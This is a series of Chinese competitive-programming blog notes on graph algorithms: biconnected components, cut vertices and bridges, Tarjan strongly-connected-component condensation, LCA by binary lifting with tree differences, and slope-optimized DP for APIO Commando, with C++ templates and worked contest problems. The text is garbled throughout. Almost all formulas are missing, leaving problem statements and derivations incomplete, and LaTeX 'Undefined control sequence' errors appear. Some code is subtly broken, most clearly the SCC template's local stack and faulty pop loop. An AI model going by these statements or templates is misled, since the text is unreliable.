这道题其实和上边的题十分相似，唯一不同的一点是——这道题不允许木板重叠。此时需要更换建图方式，把方格看作点，点之间有边，代表原方格纸上两个方格有公共边。考虑到木板重叠只会出现在十字交叉的位置，因此着重研究此类方格。如果我们假设边上还有若干黑白点，那么当选择了某条边上的点（覆盖一个长方形）后，另一个方向的边上的点就不能被选择（含义为覆盖当前点）。因此给连边。最终，会得到一个二分图，并且我们希望在二分图上每个点都不能互相到达的情况下覆盖到每个原图点，于是在新图跑最大独立集。

更为详细的内容见：我的题解

CF 1728F Fishermen#

题目地址：CF 1728F

题目难度：NOI/NOI+/CTSC

没想到有生之年居然还能用得上黑题的tag……

给你一个长度为的序列，你可以将中的数重新排列，并根据重排后的序列生成序列，生成方法如下：

。

，是满足且的最小正整数。

求所以可能生成的序列中的最小值。
输入格式：
输入第一行为一个整数，代表中的元素个数。
第二行有个整数，满足。
输出格式：
一行一个整数，代表最小的。

考虑到给出的两个生成方法对我们的构造没有影响，我们完全可以在构造后对进行重排得到合法解（题目还没要求输出方案）。发现只要满足，且互不相同（小于号）即可。根据整除的性质，设倍率，显然当过大时，生成的倍数就不优了，不满足“ 的最小正整数”这一性质。于是设置。因为倍数可能很大，所以考虑离散化。

读题可以发现，题目要求让每一个都能配对一个，考虑二分图匹配。把有倍数关系的和预处理的数字连上边。对于题目中的最小，运用贪心思想，我们把预处理的倍数按照升序排序即可解决。

更为详细的内容见：我的题解

所有代码在此

双连通分量、割点与桥

Tue, 30 Jul 2024 01:35:42 GMT

Warning

该知识点考频极低，请读者自行安排选学内容

双连通分量#

双连通分量Double Connected Components，简称（电磁场）。是连通分量在无向图中的体现。分为点双连通分量和边双连通分量。在一张连通无向图中，任意删去一条边，如果无论如何都不能使点不连通，那么就称边双连通；同样在一张连通无向图中，任意删去一个点（除外），如果无论如何都不能使不连通，则称点双连通。

反之，如果这个无向连通图中不满足上述的定义，那么使它不满足定义删去的那条边/点就叫做原图的桥/割点。换句话说，就是不含桥的极大无向连通图；是不含割点的极大无向连通图。

双连通分量求解流程#

其实和求强连通分量的代码逻辑很相似。但是不同的一点是，无向图中不存在“横叉边”这一说。因此循环判断里 else if (in_stk[j]) 就出错了，此时我们只需判断当前的边是否是一条原路返回的边，如果不是的话再用 dfn[j] 更新 low[u]。

对于当前遍历到的边，它是一个桥，当且仅当下边的点无法走回，因为在中，是不允许回到上边的点的（防死循环）。形式上说，就是 dfn[u] < low[j]。

另外，代码中下标涉及到的位运算需要建立在建图下标从开始的基础上。

1
#include <bits/stdc++.h>
2
#define N 5010
3
#define M 10010
4
using namespace std;
5

6
struct Edge {
7
    int to, ne;
8
} edges[M << 1];
9
int h[N], idx = 0;
10
int dcc_cnt = 0, dfs_cnt = 0;
11
int dcc_id[N];
12
int dfn[N], low[N];
13
stack<int> stk;
14
int indeg[N];
15
bool is_bridge[M];
16

17
void add(int a, int b) {
18
    edges[idx].to = b;
19
    edges[idx].ne = h[a];
20
    h[a] = idx++;
21
}
22

23
void tarjan(int u, int f) {
24
    dfn[u] = low[u] = ++dfs_cnt;
25
    stk.push(u);
26
    for (int i = h[u]; ~i; i = edges[i].ne) {
27
        int j = edges[i].to;
28
        if (!dfn[j]) {
29
            tarjan(j, i);
30
            low[u] = min(low[u], low[j]);
31
            if (dfn[u] < low[j]) {
32
                is_bridge[i] = is_bridge[i ^ 1] = true;
33
            }
34
        } else if (i != (f ^ 1)) {
35
            low[u] = min(low[u], dfn[j]);
36
        }
37
    }
38
    if (dfn[u] == low[u]) {
39
        dcc_cnt++;
40
        int t;
41
        do {
42
            t = stk.top();
43
            stk.pop();
44
            dcc_id[t] = dcc_cnt;
45
        } while (t != u);
46
    }
47
}

展开收起

割点求解流程#

如果某个点是割点，那么剩下的还未访问过的点至少会有一个在不经过它的情况下永远无法到达任何已经遍历过的点。形式化讲就是 low[y] >= dfn[x]，对于当前遍历到的的节点，存在两种情况：

为根节点，必须有至少两个树枝
不为根节点，当前就是割点

1
void tarjan(int u) {
2
    dfn[u] = low[u] = ++dfs_cnt;
3
    stk.push(u);
4
    int deg = 0;
5
    for (int i = h[u]; ~i; i = edges[i].ne) {
6
        int j = edges[i].to;
7
        if (!dfn[j]) {
8
            deg++;
9
            tarjan(j);
10
            low[u] = min(low[u], low[j]);
11
            if ((j != root && dfn[u] <= low[j]) || (j == root && deg)) cut[u] = true;
12
        } else low[u] = min(low[u], dfn[j]);
13
    }
14
}

典例#

洛谷 P2860 [USACO06JAN] Redundant Paths G#

题目地址：P2860

题目难度：提高+/省选-

为了从个草场中的一个走到另一个，贝茜和她的同伴们有时不得不路过一些她们讨厌的可怕的树．奶牛们已经厌倦了被迫走某一条路，所以她们想建一些新路，使每一对草场之间都会至少有两条相互分离的路径，这样她们就有多一些选择。
每对草场之间已经有至少一条路径．给出所有条双向路的描述，每条路连接了两个不同的草场，请计算最少的新建道路的数量，路径由若干道路首尾相连而成．两条路径相互分离，是指两条路径没有一条重合的道路．但是，两条分离的路径上可以有一些相同的草场．对于同一对草场之间，可能已经有两条不同的道路，你也可以在它们之间再建一条道路，作为另一条不同的道路。
输入格式：
第一行为两个整数和。
接下来行，每行两个整数，代表每条道路所连接的两个草场的编号。
输出格式：
仅一行，最少需要兴修的道路的数量。

这道题和校园网的子任务相对，都是把一个图补充成对应分量所需添加的边数，因此可以类比。这道题的结论是，补充条边可以使得原图成为一个，其中为搜索树中叶子节点的个数。

感性理解，因为每个合法中的每两个点之间都有至少两条不相同的路径可以互相到达。发现如果删去叶子节点上边的那条边，整张图一定是分离的，因此我们就需要把叶子节点的边补齐。考虑在叶子节点之间互相连边，答案是。

叶子节点的判断——在缩点后对入度为的节点。

代码在此

AcWing 1183 电力#

题目地址：AcWing 1183

题目难度：中等

给定一个由个点条边构成的无向图，请你求出该图删除一个点之后，连通块最多有多少。
输入格式：
输入包含多组数据。
每组数据第一行包含两个整数。
接下来行，每行包含两个整数，表示两点之间有边连接。
数据保证无重边。
点的编号从到。
读入以一行结束。
输出格式：
每组数据输出一个结果，占一行，表示连通块的最大数量。
数据范围：

首先维护出原先图中的连通块个数，然后我们再考虑删除哪个连通块里的哪个点，对于每个连通块。它可能存在割点，在删除割点后，整个连通块会裂成小块，而块的个数就是这个割点的度数。因此假设我们从个连通块中选择了连通块内的某个点，答案就是。

因此在找割点时统计维护割点度数的最大值即可。

代码在此

P3225 [HNOI2012] 矿场搭建#

题目地址：P3225

题目难度：省选/NOI-

题目来源：湖南 2012

煤矿工地可以看成是由隧道连接挖煤点组成的无向图。为安全起见，希望在工地发生事故时所有挖煤点的工人都能有一条出路逃到救援出口处。于是矿主决定在某些挖煤点设立救援出口，使得无论哪一个挖煤点坍塌之后，其他挖煤点的工人都有一条道路通向救援出口。
请写一个程序，用来计算至少需要设置几个救援出口，以及不同最少救援出口的设置方案总数。
输入格式：
输入文件有若干组数据。
每组数据的第一行是一个正整数，表示工地的隧道数。
接下来的行每行是用空格隔开的两个整数和，表示挖煤点与挖煤点由隧道直接连接。
输入数据以结尾。
输出格式：
对于每组数据，输出一行。
第行组数据以 Undefined control sequence \verb 开始（注意大小写，Undefined control sequence \verb 与 Undefined control sequence \verb 之间有空格，Undefined control sequence \verb 与 Undefined control sequence \verb 之间无空格，Undefined control sequence \verb 之后有空格）。
其后是用空格隔开的两个正整数，第一个正整数表示对于第组输入数据至少需要设置几个救援出口，第二个正整数表示对于第组输入数据不同最少救援出口的设置方案总数。
输入数据保证答案小于。输出格式参照以下输入输出样例。
数据范围：
对于每组数据，设为各组中最大值，有：

；

各组构成的集合。

中任意两点连通。

考虑把几种情况分类归纳。首先，因为保证每一个每个点都能走到出口，因此全局出口数一定是大于等于的，极端情况就是把出口设置在某点，然后这个点坍塌了，最好情况下剩余的节点都可以从第二个出个出去。

然后就是每个连通块内必须有出口，如果这个连通块里不存在割点，是一个，显然无论哪个点坍塌，都不影响全图的连通性。剩下就是上边所说的出口数必须大于等于的问题。任意放置两个出口，因此总方案数为；反之，如果出现割点——如果坍塌的是割点，等价于把割点连接的若干连通块分开，每一个新连通块都是一个，内部点可以互相到达。考虑到题面所说只会坍塌一个点，因此无需担心被分开的中有点坍塌的情况，因此可以在连通块内任意设置出口，方案数为该连通块的大小；如果坍塌的是某个连通块内部的点，这若干连通块仍然可以经过割点，因此在割点设置出口。

根据乘法原理，答案需要相乘得出。数据范围是，因此要用 unsigned long long。（long long 最大到）。

代码在此

强连通分量与 Tarjan 缩点

Fri, 26 Jul 2024 14:02:44 GMT

连通分量与缩点#

在说之前，先涉及最基本的概念：连通分量。如果一张有向图中，任意两个节点都能互相到达，则称它是一个连通分量，特殊地，一个点也算一个连通分量。强连通分量Strongly Connected Component，简称（四川菜），是原图的极大连通分量。这里的“极大”是一个文艺复兴时期提出的概念——若一个事物，没有比它更大的事物存在，就称这个事物是极大的/最大的（例如：导数的极大值）。

缩点，指在求出图上所有后把这些分量用一个点去代替。这样操作得到的新图是一张有向无环图Directed Acyclic Graph，简称（大哥）。它可以做拓扑排序，在这样的图上做最短路，时间复杂度是的，优于的或者的。

求解最常用的算法由发明（整个世界就是一个巨大的），在图上做一遍深度优先搜索，并维护相关信息；以及不那么常用但是非常直观好理解的算法，在正反图上分别进行一次深搜从而得到强连通分量。

算法流程#

生成树基础#

假如当前遍历了绿色的边及其相连的节点。我们可以把图上的边分为四类：

树枝边：正常的树内边，标记为黑色有向。
前向边：指向前方的边，也就是从上向下指的边。可以发现树枝边就是一类特殊的前向边。标记为蓝色有向
后向边：指向后方的边，与前向边相对。标记为橙色有向。
横叉边：指向一个已经访问过的节点，且这个节点不是它的父节点。标记为紫色有向。

如果某个节点是某个中被访问到的第一个节点，那么强连通分量中其余节点在这个节点的子树上。

算法思路#

首先为每个节点维护两个变量 dfn 和 low，这两者都是维护节点信息的“时间戳”。前者用来记录深搜时该点是第几个被访问到的；后者定义为这个点在栈中能够回溯到的最早加入的节点 dfn。对于某个强连通分量，我们会发现这个分量中的所有点的 low 值均是相同的，如下图：

图片来源于 YouTube

其中点内的序号是 dfn 值，点外侧的数字是 low 值。此时再维护一个栈，栈中存放已经深搜遍历到且还没计算出归属于哪个强连通分量的节点。

这启发我们做深搜，先把当前点的 dfn 值标记出来，并枚举相连的点（不是父节点），那么对于节点的 low 值，分三种情况讨论：

如果枚举到一条树枝边，则 low[x] = min(low[x], low[y])。这基于一个事实—— 能到达的节点，也能。
如果这条边不是树枝边，但是在栈中，则 low[x] = min(low[x], dfn[y])。根据 low 的定义而来（有向图中使用 low[x] = min(low[x], low[y]) 也是正确的）。
如果这条边不是树枝边，且不在栈中，则不作操作。因为这意味着所属的已被全部处理完且弹出栈了，二者因此不同属于一个强连通分量中。

如果当前的点满足 dfn[u] = low[u]，等价于它能回溯到的最早的点是自己，代表这是一个的起始节点。因此我们不断弹出栈顶，加入到新的中，直到弹出并把它加入强连通分量后为止，此时可以借机维护一下强连通分量的相关变量。

基本模板：

1
void tarjan(int u) {
2
    stack<int> stk;
3
    dfn[u] = low[u] = ++dfs_cnt;
4
    stk.push(u);
5
    in_stk[u] = true;
6

7
    for (int i = h[u]; ~i; i = edges[i].ne) {
8
        int j = edges[i].to;
9
        if (!dfn[j]) {
10
            tarjan(j);
11
            low[u] = min(low[u], low[j]);
12
        } else if (in_stk[j]) {
13
            low[u] = min(low[u], dfn[j]);
14
        }
15
    }
16
    if (dfn[u] == low[u]) {
17
        scc_cnt++;
18
        do {
19
            int t = stk.top();
20
            stk.pop();
21
            scc_id[t] = scc_cnt;
22
        } while (stk.top() != u);
23
    }
24
}

展开收起

缩点流程#

所谓缩点，说白了就是把解出来的强连通分量当作一个单点，建出一个新图，此时这个新图是一个。正常来说首先就需要做算法分离所有强连通分量，然后再根据不同强连通分量内点的连接关系来连之间的边。注意，有可能出现多对分属不同点、缩点后反复在同一对强连通分量之间连边的情况，大部分时候无需在意，但是在特殊情况下可能需要对这些边判重。

1
for (int i = 0; i <= n; i++) {
2
    for (int j = h[i]; ~j; j = edges[j].ne) {
3
        int k = edges[j].to;
4
        int a = scc_id[i], b = scc_id[k];
5
        if (a != b) add(hs, a, b, edges[j].w);
6
    }
7
}

典例演练#

为了方便，我们把缩点后入度为的点称作“起点”、出度为的点称为“终点”。

洛谷 P2341 [USACO03FALL/HAOI2006] 受欢迎的牛 G#

题目地址：P2341

题目难度：普及+/提高

每头奶牛都梦想成为牛棚里的明星。被所有奶牛喜欢的奶牛就是一头明星奶牛。所有奶牛都是自恋狂，每头奶牛总是喜欢自己的。奶牛之间的“喜欢”是可以传递的——如果喜欢，喜欢，那么也喜欢。牛栏里共有头奶牛，给定一些奶牛之间的爱慕关系，请你算出有多少头奶牛可以当明星。
输入格式：
第一行：两个用空格分开的整数：和。
接下来行：每行两个用空格分开的整数：和，表示喜欢。
输出格式：
一行单独一个整数，表示明星奶牛的数量。
数据范围：
对于的数据，，。

把所有的“喜欢关系”画成一个有向图：

强连通分量用绿色矩形框出，把绿色框当作一个点。已知框内的点两两互通，只要某个框内的某个点和另一个点连通，那么整个框的点都和这个点相通。因此连通关系就可以传递下来，于是我们需要解决的就是其他方框之间的连通性。

把绿色框看成单点（缩点）后，如果所有边最终汇聚到一个点上，那么这个中的所有点都和其他所有点相连，就是符合题目要求的“明星ヒマリ”。因此我们只需统计出度为的即可：如果仅有一个这样的强连通分量，那么答案就是这个强连通分量里的总点数；若出现一个以上这样的，则答案为（毕竟连两个终点都不互连通）。

代码在此

洛谷 P2746 [USACO5.3] 校园网 Network of Schools#

题目地址：P2746

题目难度：提高+/省选-

一些学校连入一个电脑网络。那些学校已订立了协议：每个学校都会给其它的一些学校分发软件（称作“接受学校”）。注意即使在学校的分发列表中，也不一定在学校的列表中。
你要写一个程序计算，根据协议，为了让网络中所有的学校都用上新软件，必须接受新软件副本的最少学校数目（子任务 A）。更进一步，我们想要确定通过给任意一个学校发送新软件，这个软件就会分发到网络中的所有学校。为了完成这个任务，我们可能必须扩展接收学校列表，使其加入新成员。计算最少需要增加几个扩展，使得不论我们给哪个学校发送新软件，它都会到达其余所有的学校（子任务 B）。一个扩展就是在一个学校的接收学校列表中引入一个新成员。
输入格式：
输入文件的第一行包括一个正整数，表示网络中的学校数目。学校用前个正整数标识。
接下来行中每行都表示一个接收学校列表（分发列表），第行包括学校的接收学校的标识符。每个列表用结束，空列表只用一个表示。
输出格式：
你的程序应该在输出文件中输出两行。
第一行应该包括一个正整数，表示子任务 A 的解。
第二行应该包括一个非负整数，表示子任务 B 的解。
数据范围：
。

我们同样处理出点之间的关系，图中一定有个起点与个终点。对于子任务，当这个软件在起点开始投放时，才能到达更多的学校，要想到达所有的学校，就需要在缩点后的所有起点都放上这个软件，因此答案是；对于子任务，我们的答案是，但如果整张图是一整个，就不需要再连任何边，答案就是。

对于子任务的感性理解：每个点都需要互相连通，首先就不能存在入度/出度为的节点，因此最节省边的方式就是让起点和终点连边。一一对应地连，数量更少的那种点就会率先被连完，剩下的就是数量更多的那种点，再随便连几条边把剩余节点消耗完。最终答案就是。当然若全图是一个则无需理会。

代码在此

四倍经验：P2812 校园网络加强版、P2835 刻录光盘、P1262 间谍网络、P2002 消息扩散

洛谷 P2272 [ZJOI2007] 最大半连通子图#

题目地址：P2272

题目难度：提高+/省选-

题目来源：浙江 2007 各省省选

一个有向图称为半连通的 (Semi-Connected)，如果满足：，满足或，即对于图中任意两点，存在一条到的有向路径或者从到的有向路径。
若满足，是中所有跟有关的边，则称是的一个导出子图。若是的导出子图，且半连通，则称为的半连通子图。若是所有半连通子图中包含节点数最多的，则称是的最大半连通子图。
给定一个有向图，请求出的最大半连通子图拥有的节点数，以及不同的最大半连通子图的数目。由于可能比较大，仅要求输出对的余数。
输入格式：
第一行包含两个整数。分别表示图的点数与边数，的意义如上文所述。
接下来行，每行两个正整数，表示一条有向边。图中的每个点将编号为，保证输入中同一个不会出现两次。
输出格式：
应包含两行，第一行包含一个整数，第二行包含整数。
数据范围：
对于的数据，，，。

阅读题面可以发现，其实本身就是一种特殊的半连通图，因此我们尽量多选图中的。这就需要我们先缩点，缩点后再找最大的半连通子图。本着多选强连通分量的原则，对于缩点后的，我们选择最长的一条链（事实上，要求路径上所有强连通分量所包含点的总数最大）即可。

对于方案数，考虑 DP。做最长链的时候，如果发现下一个状态能够被更新，则更新总点数、同时把上一个点的方案计数覆盖过去；如果转移时发现路径长度相等，则把上一个点的方案数累加过去。

这时，我们需要对缩点后的图去重边，因为在 DP 转移时需要枚举出边，重边会造成点数的重复计算。因此使用哈希表进行去重。

代码在此

AcWing 368 银河#

题目地址：AcWing 368

题目难度：中等

银河中的恒星浩如烟海，但是我们只关注那些最亮的恒星。
我们用一个正整数来表示恒星的亮度，数值越大则恒星就越亮，恒星的亮度最暗是。
现在对于颗我们关注的恒星，有对亮度之间的相对关系已经判明。
你的任务就是求出这颗恒星的亮度值总和至少有多大。
输入格式：
第一行给出两个整数和。
之后行，每行三个整数，表示一对恒星之间的亮度关系。恒星的编号从开始。
如果，说明和亮度相等。如果，说明的亮度小于的亮度。如果，说明的亮度不小于的亮度。如果，说明的亮度大于的亮度。如果，说明的亮度不大于的亮度。
输出格式：
输出一个整数表示结果。
若无解，则输出。
数据范围：

看到这道题，第一反应是差分约束，根据题干给出的大小关系建图，然后跑最长路并求和得到答案。但是这种方法基于的（何况它已经死了），很容易超时。因此考虑用别的更优的算法解决。

联系到本文标题，使用算法来优化找正环的步骤。读题发现每个值都需要大于等于，因此建立连接每个点、边权为的虚拟源点来辅助。因为建出的图中的边权要么为、要么是，而强连通分量中存在环，只要出现一个边权值为，那么就是正环了。

缩点后的图会变成一个，求解最长路只需要按照拓扑序进行一次递推。又知道缩点后的图是逆拓扑序的，因此递推时倒序即可。

代码

LCA 最近公共祖先

Thu, 25 Jul 2024 13:06:32 GMT

LCA 树上倍增法#

实质是把节点每次向上暴力移动一步变成更加高明的按步向上移动，借用的是每个数都可进行二进制分解的定理。期间维护一个父节点数组 fa，fa[i][k] 代表向上移动步的父节点。那我们该如何更新这个父节点呢？显然有，就是两次向上移动步，因此可以用 fa[fa[i][k - 1]][k - 1] 来递归更新。

初始化时使用宽搜，把所有点的深度更新一遍。注意要设置一个类似于中的边界节点，深度设为（根节点深度为），以防倍增移动时发生超出根节点的情况。

对于的求解，基本思路是把待求的两个节点先挪到同一位置上，然后共同向上移动，当二者根节点已经相同时就可以返回这个根节点了。特殊地，如果上移到同一深度时两点已经重合，则直接返回两点中的其中一个。

模板：

1
#include <bits/stdc++.h>
2
#define N 500010
3
using namespace std;
4

5
struct Edge {
6
    int to, ne;
7
} edges[N << 1];
8
int h[N], idx = 0;
9

10
int fa[N][22];
11
int dep[N];
12

13
int root = 0;
14

15
void add(int a, int b) {
16
    idx++;
17
    edges[idx].to = b;
18
    edges[idx].ne = h[a];
19
    h[a] = idx;
20
}
21

22
void init() {
23
    memset(dep, 0x3f, sizeof dep);
24
    queue<int> q;
25
    dep[0] = 0;
26
    dep[root] = 1;
27
    q.push(root);
28
    while (!q.empty()) {
29
        int t = q.front();
30
        q.pop();
31
        for (int i = h[t]; ~i; i = edges[i].ne) {
32
            int j = edges[i].to;
33
            if (dep[j] > dep[t] + 1) {
34
                dep[j] = dep[t] + 1;
35
                fa[j][0] = t;
36
                q.push(j);
37
                for (int k = 1; k <= 21; k++) {
38
                    fa[j][k] = fa[fa[j][k - 1]][k - 1];
39
                }
40
            }
41
        }
42
    }
43
}
44

45
int LCA(int a, int b) {
46
    if (dep[a] < dep[b]) swap(a, b);
47
    for (int k = 21; k >= 0; k--) {
48
        if (dep[fa[a][k]] >= dep[b]) a = fa[a][k];
49
    }
50
    if (a == b) return a;
51
    for (int k = 21; k >= 0; k--) {
52
        if (fa[a][k] != fa[b][k]) {
53
            a = fa[a][k];
54
            b = fa[b][k];
55
        }
56
    }
57
    return fa[a][0];
58
}
59

60
int main() {
61
    ios::sync_with_stdio(false);
62
    cin.tie(nullptr);
63
    cout.tie(nullptr);
64

65
    memset(h, -1, sizeof h);
66
    int n, m;
67
    cin >> n >> m >> root;
68
    for (int i = 1; i < n; i++) {
69
        int x, y;
70
        cin >> x >> y;
71
        add(x, y);
72
        add(y, x);
73
    }
74
    init();
75
    while (m--) {
76
        int a, b;
77
        cin >> a >> b;
78
        cout << LCA(a, b) << endl;
79
    }
80
    return 0;
81
}

展开收起

再探次小生成树#

一个半月前，我写了次小生成树的求解方法，当时是将非树边挨个加入进树中，形成一个环，并剔除这个环中最大的树内边，比较这些操作对最小生成树总边权的贡献从而得到原树的非严格次小生成树（若需要严格次小生成树则需要维护环上次大边）。其中为了找到环内最/次大边，我们使用了指数级别的，今天学习了倍增，可以用来优化这一方案。

洛谷 P4180 [BJWC2010] 严格次小生成树#

题目地址：P4180

题目难度：提高+/省选-

题目来源：北京 2010 各省省选

依然是先求出最小生成树以及它的总边权，但是对于最大/次大边权的查询，考虑使用倍增做法。

联系到递归求解步父节点时的操作，其实维护树上最/次大边权也可如此。同样是把拆解成两个步，然后对于第一次移动，可以继续向下递归找到最/次大边权；第二次移动同理。最/次大值通过遍历就很容易找出来了，具体方法如下：

如果当前值严格大于维护的最大值，更新最大值为当前值，把次大值赋为原先的最大值。
如果当前值严格小于最大值且严格大于次大值，那么更新次大值为当前值。

对走两步分别得到的四个最/次大值执行遍历，就可以得到全局最/次大值了。在倍增过程中，我们把（最小生成树中）节点移动过程中经历的所有树内边的最大值和次大值保存起来，解出全局最/次大值，并与当前升序遍历到的非树边权作比较，得出新边的贡献，即可解得次小生成树的权值。注意去除自环。

其中 d1[a][k] 代表节点向上移动步经过的边的最大权值，d2[a][k] 则是相应的次大权值。

代码过长（177行）

维护树上差分#

AcWing 352. 闇くらの連ねん鎖さ#

题目地址：AcWing 352

题目难度：困难

传说中的暗之连锁被人们称为 Dark。
Dark 是人类内心的黑暗的产物，古今中外的勇者们都试图打倒它。
经过研究，你发现 Dark 呈现无向图的结构，图中有个节点和两类边，一类边被称为主要边，而另一类被称为附加边。
Dark 有条主要边，并且 Dark 的任意两个节点之间都存在一条只由主要边构成的路径。
另外，Dark 还有条附加边。
你的任务是把 Dark 斩为不连通的两部分。
一开始 Dark 的附加边都处于无敌状态，你只能选择一条主要边切断。
一旦你切断了一条主要边，Dark 就会进入防御模式，主要边会变为无敌的而附加边可以被切断。
但是你的能力只能再切断 Dark 的一条附加边。
现在你想要知道，一共有多少种方案可以击败 Dark。
注意，就算你第一步切断主要边之后就已经把 Dark 斩为两截，你也需要切断一条附加边才算击败了 Dark。
输入格式：
第一行包含两个整数和。
之后行，每行包括两个整数和，表示和之间有一条主要边。
之后行以同样的格式给出附加边。
输出格式：
输出一个整数表示答案。
数据范围：
，，数据保证答案不超过。

假如树内边（主要边）用黑色表示，非树边（附加边）用红色表示。边上的数字代表：在砍断当前边的情况下还需要砍断多少附加边才能将图分成两部分（默认）。事实上，当图中添加了一组附加边，它所连接的两个树内点会和树内若干点组成一个环，并且这个环一定会过两点的最近公共祖先。我们这时从下往上，把环内边上的计数增加，就可得到如上的图。根据题意，显然有：

当该边计数为时，砍断当前边后，任意砍断一条附加边即可，答案累加
当该边计数为时，砍断当前边后，只能砍断特定的一条附加边，答案累加
当该边计数大于时，因为最多只能砍两刀，因此不能通过砍当前主要边击败 Dark，答案不变

如何更新边上的计数呢？运用树上差分的思想——把权值的差分存储在图上，和序列差分一样，如果想要给某个区间内所有的数加减某个数，则只需在左端点和右端点加/减这个数，然后右端点的右边再减/加这个数，最后求前缀和即可得到原数；树上差分也很类似，我们在附加边连接的两个点上更改数值，然后找到它们的最近公共祖先，减去两倍的值即可。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
struct Edge {
6
    int to, ne;
7
} edges[N << 1];
8
int h[N], idx = 0;
9
int fa[N][20], depth[N];
10
int dist[N];
11
int m, ans = 0;
12

13
void add(int a, int b) {
14
    idx++;
15
    edges[idx].to = b;
16
    edges[idx].ne = h[a];
17
    h[a] = idx;
18
}
19

20
void init(int root) {
21
    memset(depth, 0x3f, sizeof depth);
22

23
    queue<int> q;
24
    depth[0] = 0;
25
    depth[root] = 1;
26
    q.push(1);
27
    while (!q.empty()) {
28
        int t = q.front();
29
        q.pop();
30
        for (int i = h[t]; ~i; i = edges[i].ne) {
31
            int j = edges[i].to;
32
            if (depth[j] > depth[t] + 1) {
33
                depth[j] = depth[t] + 1;
34
                fa[j][0] = t;
35
                q.push(j);
36
                for (int k = 1; k <= 19; k++) {
37
                    fa[j][k] = fa[fa[j][k - 1]][k - 1];
38
                }
39
            }
40
        }
41
    }
42
}
43

44
int LCA(int a, int b) {
45
    if (depth[a] < depth[b]) swap(a, b);
46
    for (int k = 19; k >= 0; k--) {
47
        if (depth[fa[a][k]] >= depth[b]) a = fa[a][k];
48
    }
49
    if (a == b) return a;
50
    for (int k = 19; k >= 0; k--) {
51
        if (fa[a][k] != fa[b][k]) {
52
            a = fa[a][k];
53
            b = fa[b][k];
54
        }
55
    }
56
    return fa[a][0];
57
}
58

59
int dfs(int u, int f) {
60
    int res = dist[u]; // 当前记录的差分权
61
    for (int i = h[u]; ~i; i = edges[i].ne) {
62
        int j = edges[i].to;
63
        if (j == f) continue;
64
        int t = dfs(j, u); // 获得子树的差分权值
65
        if (t == 0) ans += m;
66
        else if (t == 1) ans++;
67
        res += t; // 向上更新，累加子树差分权
68
    }
69
    return res;
70
}
71

72
int main() {
73
    ios::sync_with_stdio(false);
74
    cin.tie(nullptr);
75
    cout.tie(nullptr);
76

77
    memset(h, -1, sizeof h);
78

79
    int n;
80
    cin >> n >> m;
81
    for (int i = 1; i < n; i++) {
82
        int a, b;
83
        cin >> a >> b;
84
        add(a, b);
85
        add(b, a);
86
    }
87
    init(1);
88
    for (int i = 1; i <= m; i++) {
89
        int a, b;
90
        cin >> a >> b;
91
        int p = LCA(a, b);
92
        dist[a]++, dist[b]++, dist[p] -= 2; // 维护树上差分
93
    }
94
    dfs(1, -1);
95
    cout << ans << endl;
96
    return 0;
97
}

展开收起

SP15648 [APIO10A] - Commando 题解

Thu, 25 Jul 2024 09:01:36 GMT

小星野战力那么强一个人一组就够了ᕕ(◠ڼ◠)ᕗ

Done

您已获得最佳的阅读体验！以及上面的小彩蛋……

我们会发现这道题和 P5785 任务安排长得神似。两道题都是把一个连续的序列分成若干块（块数没有特殊限制）。这启发我们把状态设置为 dp[i]，含义是：“把前个士兵全部分好的最大修正战斗力”。

现在我们着手设计一个暴力 DP 程序，分析如下图：

因为部分已知，就是我们的 dp[j]；我们重点需要解决的就是部分的计算。

考虑到题面行动队战斗力的定义涉及到部分元素的和，因此预先维护整个序列的前缀和，于是。把待求区间分成一组，初始战斗力就是。本题还涉及到一个“修正战斗力”，且题目要求求解修正战斗力的最大值，不妨令，那么该组的修正战斗力就是。

暴力 DP 代码就可以写出来了，时间复杂度。预计，就不放了。

看到题面的，正解的时间复杂度很可能是或的。暴力程序的性能瓶颈卡在变量的循环上，因此考虑优化的求解，此时就开始了本题的重头戏——斜率优化/凸包优化。

把需要最大化的算式拿出来分析，我们进行化简可以得到：

进行斜率优化时，我们把看作主元，并且希望让斜率仅和有关。那我们移项可以得到：

类比直线的斜截式方程，发现这个式子可以用数形结合的方式做出来：斜率，截距，纵坐标，横坐标。任务是最大化 dp[i] 的值，考虑到，所以只要构造的直线的截距最大，dp[i] 就是最大的。

对于特定斜率的直线，显然是靠上端的直线截距更大，如下图（若绘图有误烦请指出）：

对于不同斜率的点，截距最大的直线所过的点均在一个上凸包上（红线连出）：

同时，当前直线所过的点是第一个斜率比当前直线斜率小的点。“最小值最大”，那不就是二分嘛！别急，这道题可以不用二分，有更简便的方法。

考虑到每次代入的点，因为每个士兵的战斗力均为正数，显然它的前缀和不可能出现下降趋势，是单调递增的。又知道是递增枚举的，所以每次构造的直线的斜率是单调递减的。因此考虑用单调队列维护这个合法点，具体操作如下：

当队头点的斜率大于了当前直线的斜率，显然不会再被用到，直接弹出。形式化地，当时弹队头。
当队尾点的斜率小于将要加入的点的斜率，原先的队尾已经不满足上凸包“斜率单调递减”的要求了，故弹出。也就是说当时就弹出队尾。

至此，单调队列的队头就是我们所维护的。把代入状态转移方程里即可计算出答案了（注意超时的原因是暴力找，和状态转移方程本身没关系），由于涉及斜率的计算，要使用浮点数（或者你也可以就使用整型，斜率换成交叉相乘）。

代码：

1
#include <bits/stdc++.h>
2

3
#define N 1000010
4
using namespace std;
5

6
typedef long long ll;
7

8
double dp[N];
9
double x[N], sumX[N];
10
double a, b, c;
11
int q[N];
12
int hh = 0, tt = 0;
13

14
double getY(int i) {
15
    // 获得纵坐标的值
16
    return dp[i] + a * sumX[i] * sumX[i] - b * sumX[i];
17
}
18

19
double slope(int x1, int x2) {
20
    // 获取两点斜率
21
    return (getY(x1) - getY(x2)) * 1.0 / (sumX[x1] - sumX[x2]) * 1.0;
22
}
23

24
int main() {
25
    ios::sync_with_stdio(false);
26
    cin.tie(nullptr);
27
    cout.tie(nullptr);
28

29
    int n, t;
30
    cin >> t;
31
    while (t--) {
32
        // 多测清空
33
        memset(dp, 0, sizeof dp);
34
        memset(x, 0, sizeof x);
35
        memset(sumX, 0, sizeof sumX);
36
        hh = 0, tt = 0; // 初始时队列里已有一个元素0
37

38
        cin >> n >> a >> b >> c;
39
        for (int i = 1; i <= n; i++) {
40
            cin >> x[i];
41
            sumX[i] = sumX[i - 1] + x[i];       // 预处理前缀和
42
        }
43
        q[0] = 0;
44
        for (int i = 1; i <= n; i++) {
45
            while (hh < tt && slope(q[hh + 1], q[hh]) >= 2 * a * sumX[i]) hh++; // 不满足单调性，弹出
46
            int j = q[hh]; // 维护的点
47
            double X = sumX[i] - sumX[j]; // 我们定义的X，用来简化计算
48
